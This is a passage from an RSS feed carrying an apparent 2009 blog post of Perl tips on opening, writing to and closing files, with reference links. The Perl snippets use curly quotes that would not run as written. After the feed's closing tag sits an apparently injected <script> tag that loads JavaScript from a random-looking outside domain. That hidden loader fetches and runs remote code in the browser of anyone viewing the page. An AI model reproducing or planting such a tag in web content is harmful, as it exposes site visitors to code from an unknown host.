<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>’ – open a file in append mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To write to a file, write access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">print “$var\n” &lt;File identifier&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Close the file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">close (&lt;File identifier&gt;)<span style="mso-spacerun: yes;">   </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;close failed: $!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; mso-outline-level: 1;"><a name="_Toc220220668"></a><a name="_Toc168744005"></a><a name="_Toc168743902"><span style="mso-bookmark: _Toc168744005;"><span style="mso-bookmark: _Toc220220668;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Notes</span></span></strong></span></span></a><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">There are many free Perl software are available on internet. Also you can use the UNIX command prompt just like unix scripts by using command </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">“#!/usr/bin/perl”</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> in script.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.75in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Reference(s)</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://docstore.mik.ua/orelly/perl/prog/ch01_05.htm </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://perldoc.perl.org/perlop.html</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perl.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perlfect.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.pageresource.com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>